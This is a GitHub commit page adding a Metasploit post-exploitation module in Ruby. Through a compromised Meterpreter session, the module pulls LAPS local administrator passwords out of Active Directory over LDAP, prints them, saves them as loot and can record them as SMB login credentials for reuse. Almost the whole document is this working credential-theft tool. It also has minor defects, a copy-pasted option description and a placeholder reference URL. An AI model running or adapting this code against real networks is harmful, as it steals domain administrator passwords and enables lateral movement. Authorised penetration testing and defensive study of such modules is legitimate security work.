Skip to content

Commit 4392b7c

Browse files
committed
Enum LAPS
1 parent 2219808 commit 4392b7c

File tree

1 file changed

+192
-0
lines changed

1 file changed

+192
-0
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex'
7+
require 'msf/core'
8+
require 'msf/core/auxiliary/report'
9+
10+
class Metasploit3 < Msf::Post
11+
12+
include Msf::Auxiliary::Report
13+
include Msf::Post::Windows::LDAP
14+
15+
FIELDS = ['distinguishedName',
16+
'dNSHostName',
17+
'ms-MCS-AdmPwd',
18+
'ms-MCS-AdmPwdExpirationTime'].freeze
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => 'Windows Gather Credentials Local Administrator Password Solution',
23+
'Description' => %Q{
24+
This module will recover the LAPS (Local Administrator Password Solution) passwords,
25+
configured in active directory. Note, only privileged users should be able to access
26+
these fields. Note: The local administrator account name is not stored in active directory,
27+
by default credentials will be stored in the database against 'Administrator'.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Ben Campbell',
33+
],
34+
'Platform' => [ 'win' ],
35+
'SessionTypes' => [ 'meterpreter' ],
36+
'References' =>
37+
[
38+
['URL', 'http://test'],
39+
]
40+
))
41+
42+
register_options([
43+
OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
44+
OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
45+
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
46+
OptString.new('FILTER', [true, 'Search filter.', '(objectCategory=Computer)'])
47+
], self.class)
48+
49+
deregister_options('FIELDS')
50+
end
51+
52+
def run
53+
search_filter = datastore['FILTER']
54+
max_search = datastore['MAX_SEARCH']
55+
56+
begin
57+
q = query(search_filter, max_search, FIELDS)
58+
rescue RuntimeError => e
59+
# Raised when the default naming context isn't specified as distinguished name
60+
print_error(e.message)
61+
return
62+
end
63+
64+
if q.nil? || q[:results].empty?
65+
print_status('No results returned.')
66+
else
67+
results_table = parse_results(q[:results])
68+
print_line results_table.to_s
69+
70+
if datastore['STORE_LOOT']
71+
stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
72+
print_status("Results saved to: #{stored_path}")
73+
end
74+
end
75+
end
76+
77+
# Takes the results of LDAP query, parses them into a table
78+
# and records and usernames as {Metasploit::Credential::Core}s in
79+
# the database.
80+
#
81+
# @param [Array<Array<Hash>>] the LDAP query results to parse
82+
# @return [Rex::Ui::Text::Table] the table containing all the result data
83+
def parse_results(results)
84+
laps_results = []
85+
# Results table holds raw string data
86+
results_table = Rex::Ui::Text::Table.new(
87+
'Header' => 'Local Administrator Password Solution (LAPS) Results',
88+
'Indent' => 1,
89+
'SortIndex' => -1,
90+
'Columns' => FIELDS
91+
)
92+
93+
results.each do |result|
94+
row = []
95+
96+
result.each do |field|
97+
if field.nil?
98+
row << ""
99+
else
100+
if field[:type] == :number
101+
value = convert_windows_nt_time_format(field[:value])
102+
else
103+
value = field[:value]
104+
end
105+
row << value
106+
end
107+
end
108+
109+
hostname = result[FIELDS.index('dNSHostName')][:value].downcase
110+
password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
111+
dn = result[FIELDS.index('distinguishedName')][:value]
112+
expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
113+
114+
unless password.to_s.empty?
115+
results_table << row
116+
laps_results << { hostname: hostname,
117+
password: password,
118+
dn: dn,
119+
expiration: expiration
120+
}
121+
end
122+
end
123+
124+
if datastore['STORE_DB']
125+
print_status('Resolving IP addresses...')
126+
hosts = []
127+
laps_results.each do |h|
128+
hosts << h[:hostname]
129+
end
130+
131+
resolve_results = client.net.resolve.resolve_hosts(hosts)
132+
133+
# Match each IP to a host...
134+
resolve_results.each do |r|
135+
l = laps_results.find{ |laps| laps[:hostname] == r[:hostname] }
136+
l[:ip] = r[:ip]
137+
end
138+
139+
laps_results.each do |r|
140+
next if r[:ip].to_s.empty?
141+
next if r[:password].to_s.empty?
142+
store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
143+
end
144+
end
145+
146+
results_table
147+
end
148+
149+
150+
def store_creds(username, password, ip)
151+
service_data = {
152+
address: ip,
153+
port: 445,
154+
service_name: 'smb',
155+
protocol: 'tcp',
156+
workspace_id: myworkspace_id
157+
}
158+
159+
credential_data = {
160+
origin_type: :session,
161+
session_id: session_db_id,
162+
post_reference_name: refname,
163+
username: username,
164+
private_data: password,
165+
private_type: :password
166+
}
167+
168+
credential_data.merge!(service_data)
169+
170+
# Create the Metasploit::Credential::Core object
171+
credential_core = create_credential(credential_data)
172+
173+
# Assemble the options hash for creating the Metasploit::Credential::Login object
174+
login_data = {
175+
core: credential_core,
176+
access_level: 'Administrator',
177+
status: Metasploit::Model::Login::Status::UNTRIED
178+
}
179+
180+
# Merge in the service data and create our Login
181+
login_data.merge!(service_data)
182+
create_credential_login(login_data)
183+
end
184+
185+
# https://gist.github.com/nowhereman/189111
186+
def convert_windows_nt_time_format(windows_time)
187+
unix_time = windows_time.to_i/10000000-11644473600
188+
ruby_time = Time.at(unix_time)
189+
ruby_time.strftime("%d/%m/%Y %H:%M:%S GMT %z")
190+
end
191+
192+
end

0 commit comments

Comments
 (0)